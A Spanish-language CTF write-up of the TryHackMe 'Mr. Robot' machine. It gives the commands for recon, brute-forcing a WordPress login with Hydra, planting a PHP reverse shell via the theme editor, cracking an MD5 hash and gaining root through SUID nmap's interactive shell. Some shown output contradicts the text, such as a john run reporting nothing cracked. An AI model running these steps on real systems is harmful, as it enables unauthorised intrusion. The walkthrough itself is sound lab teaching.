THM Mr. Robot

¡Hola! En esta ocasión vamos a resolver de la maquina Mr. Robot de TryHackMe. La máquina es nivel “Medium”, sin embargo, el nivel siempre se lo pones tú, al enfrentar estos retos, ¡vamos a ponernos hack!

PREPARACIÓN

Para iniciar nuestra máquina, vamos a crear con nuestra función mkhack un directorio de trabajo con el nombre mrrobot y los subdirectorios recon junto con exploit, con el objetivo de organizar la información que recopilemos en la realización de la máquina.

❯ mkhack mrrobot
❯ cd !$/recon

RECONOCIMIENTO

Accedemos al directorio recon e iniciamos nuestra fase de reconocimiento sobre el objetivo por medio de una traza ICMP.

❯ ping -c 1 10.10.235.157 | grep ttl | awk '{print $4 $6}'
10.10.235.157:ttl=63

Identificamos que es una maquina Linux debido a su ttl (time to live) correspondiente a 63 (Disminuye en 1 debido a que realiza un salto adicional en el entorno de TryHackMe).

  • TTL => 64 Linux
  • TTL => 128 Windows

Continuamos con la enumeración de los 65535 puertos en la máquina.

sudo nmap -p- -sS --open --min-rate 5000 -n -Pn 10.10.235.157 -oG ports | grep open
80/tcp  open  http
443/tcp open  https

Luego de identificar los puertos abiertos OPEN, se procede a escanear servicios y versiones que puedan estar en nuestro objetivo.

❯ nmap -p80,443 -sCV 10.10.235.157 -oN allInfo
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-19 18:20 -05
Nmap scan report for 10.10.235.157
Host is up (0.28s latency).

PORT    STATE SERVICE  VERSION
80/tcp  open  http     Apache httpd
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache
443/tcp open  ssl/http Apache httpd
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache
| ssl-cert: Subject: commonName=www.example.com
| Not valid before: 2015-09-16T10:45:03
|_Not valid after:  2025-09-13T10:45:03

Podemos identificar que el puerto 80 tiene una página web en servicio, por lo que revisamos con el explorador la página en cuestión.

Vamos a realizar un fuzzing por medio de la generación de múltiples peticiones con diferentes terminaciones a la página web, con el fin de detectar rutas de acceso a información o explotación, identificando potenciales rutas de acceso, vamos a mirar de que se tratan.

❯ wfuzz -c --hc=404,301 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.235.157/FUZZ
=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================
000000053:   302        0 L      0 W        0 Ch        "login"
000000348:   200        2027 L   19569 W    489204 Ch   "intro"
000000475:   200        52 L     158 W      2613 Ch     "wp-login"
000000679:   200        156 L    27 W       309 Ch      "license"
000001765:   200        3 L      4 W        41 Ch       "robots"

Iniciamos con el directorio robots.

❯ curl -s "http://10.10.235.157/robots.txt"
User-agent: *
fsocity.dic
key-1-of-3.txt

¡Tenemos al parecer nuestra primera flag!, nuevamente con la utilidad curl vamos a realizar la petición para el recurso key-1-of-3.txt

❯ curl -s "http://10.10.235.157/key-1-of-3.txt" > flag1.txt | head -c 10
073403c8a5%

¡Excelente, tenemos la flag! Como bien saben solo mostraremos los primeros 10 caracteres.

Vamos a extraer el otro recurso que encontramos, el cual parece ser un dicionario, luego de la extracción, vamos a organizarlo y eliminar registros que pueda tener duplicados, como se pueden dar cuenta, el archivo sin duplicados se reduce considerablemente respecto al original.

❯ curl -s "http://10.10.235.157/fsocity.dic" > fsocity.dic
❯ sort -u fsocity.dic > sortfsocity.dic
❯ wc -l fsocity.dic sortfsocity.dic
 858160 fsocity.dic
  11451 sortfsocity.dic
 869611 total

EXPLOTACIÓN

Vamos a explorar la ruta wp-login, la cual muestra un panel de loggeo en un gestor de contenido como lo es Wordpress.

Vamos a realizar un ataque de fuerza bruta por la utilidad hydra, pero antes de esto es necesario capturar la petición con burpsuite, para poder obtener los campos de usuario y contraseña que usaremos en nuestro ataque de fuerza bruta.

Ya tenemos los campos identificados, ahora si vamos a realizar nuestro primer ataque de fuerza bruta para detectar que usuarios son válidos en el login.

❯ hydra -L sortfsocity.dic -p test 10.10.235.157 http-form-post "/wp-login.php:log=^USER^&pwd=^PASS^:Invalid username" -t 64
[80][http-post-form] host: 10.10.235.157   login: elliot   password: test

¡Tenemos un usuario valido! Podemos ver que elliot es un usuario existente en este login.

Ahora intentaremos identificar la contraseña de este usuario para finalmente acceder al panel principal.

❯ hydra -l elliot -P sortfsocity.dic 10.10.235.157 http-form-post "/wp-login.php:log=^USER^&pwd=^PASS^:The password you entered for the username" -t 64
[80][http-post-form] host: 10.10.235.157   login: elliot   password: ER28-0652

Ya tenemos credenciales válidas para poder acceder al portal principal de esta web.

En este momento contamos con los permisos para editar archivos php en esta sesión, por lo que vamos a realizar los siguientes pasos:

  • Ir al panel izquierdo, opción apperance.
  • Click en la opción editor.
  • En el panel derecho, click en archive.php.
  • Copiamos la php-reverse-shell y la pegamos en el panel central.
  • Cambiamos la IP y Puerto.
  • Guardamos cambios.

Con estos pasos vamos a generar una reverse shell en php para cargarla y después ejecutarla en la máquina, todo esto mientras estamos en escucha por con la utilidad nc.

❯ nc -lvnp 5555

Luego hacemos la petición del recurso que contiene la reverse shell.

❯ curl -s "http://10.10.235.157/wp-content/themes/twentyfifteen/archive.php"

##POST-EXPLOIT

Ahora que tenemos acceso a la máquina, con la utilidad find buscamos el archivo que puede contener las siguientes flags.

$ find / -name key-*-of-3.txt 2>/dev/null
/opt/bitnami/apps/wordpress/htdocs/key-1-of-3.txt
/home/robot/key-2-of-3.txt

Ahora vamos a mirar los ficheros y sus permisos en el directorio /home/robot, detectando que la segunda flag solo la puede leer el usuario robot, existe un segundo archivo al cual si tenemos permiso al menos de lectura.

$ ls -la /home/robot/
total 16
drwxr-xr-x 2 root  root  4096 Nov 13  2015 .
drwxr-xr-x 3 root  root  4096 Nov 13  2015 ..
-r-------- 1 robot robot   33 Nov 13  2015 key-2-of-3.txt
-rw-r--r-- 1 robot robot   39 Nov 13  2015 password.raw-md5

Vamos a leer el contenido del archivo password.raw.md5.

$ cat /home/robot/password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13b

¡Parece ser que tenemos un hash! Vamos a utilizar otro vector de ataque por fuerza bruta, esta vez con la utilidad john, pero antes de ello vamos a ingresar a la carpeta exploit y crear un fichero que contenga el hash identificado.

cd ../exploit
❯ echo "robot:c3fcd3d76192e4007dfb496cca67e13b" > robot.hash
❯ john robot.hash --wordlist=../recon/fsocity.dic -format=Raw-MD5
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:00 DONE (2022-05-19 22:19) 0g/s 8580Kp/s 8580Kc/s 8580KC/s 8output..ABCDEFGHIJKLMNOPQRSTUVWXYZ
Session completed

El hash fue descifrado y ahora ya tenemos lo que es la posible contraseña del usuario robot.

$ su robot
su: must be run from a terminal

Hay un problema, no podemos acceder por la utilidad su, sin embargo, verificando en la máquina, podemos ver que tiene python 2.7.6 el cual nos va a permitir hacer el spawn de una shell en bash, luego de esto podremos ejecutar el comando para escalar privilegios con la contraseña previamente obtenida.

$ python --version
Python 2.7.6
$ python -c 'import pty; pty.spawn("/bin/bash")'
daemon@linux:/$ su robot
su robot
Password: abcdefghijklmnopqrstuvwxyz
robot@linux:

Como bien sabemos, ahora somos el usuario robot, con privilegios de lectura del fichero que contiene la segunda flag, así que procedemos a revisar su contenido.

robot@linux:/$ head -c 10 /home/robot/key-2-of-3.txt
head -c 10 /home/robot/key-2-of-3.txt
822c739561

##ESCALAMIENTO

¡Perfecto! Ahora si vamos a revisar permisos por medio del comando find, así podremos ver qué tipo de utilidades puede ejecutar el usuario robot con privilegios.

robot@linux:/$ find / -perm -4000 -type f 2>/dev/null
find / -perm -4000 -type f 2>/dev/null
/bin/ping
/bin/umount
/bin/mount
/bin/ping6
/bin/su
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/local/bin/nmap
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/usr/lib/pt_chown

Vemos que robot puede ejecutar el comando nmap sin necesidad de ingresar credenciales.

Por medio del recurso GTFOBins identificamos una vía potencial de escalamiento de privilegios, ejecutando lo siguiente.

robot@linux:/$ nmap --interactive
nmap --interactive
Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
!sh
#whoami
#root

Esto fue posible debido a que la versión de nmap de la maquina era vulnerable, de igual manera la versión de python para spawnear la shell era compatible con lo que se requería.

¡Logramos tener acceso a la maquina como root!

Solo hace falta buscar la flag correspondiente y eso sería todo.

# find / -name key-*-of-3.txt 2>/dev/null
find / -name key-*-of-3.txt 2>/dev/null
/root/key-3-of-3.txt
/opt/bitnami/apps/wordpress/htdocs/key-1-of-3.txt
/home/robot/key-2-of-3.txt
# head -c 10 /root/key-3-of-3.txt
head -c 10 /root/key-3-of-3.txt
04787ddef2

¡Hemos logrado completar la maquina mr. robot de TryHackMe!

¡Que tengan un buen día en el planeta donde se encuentren!

Nos vemos en otro bit.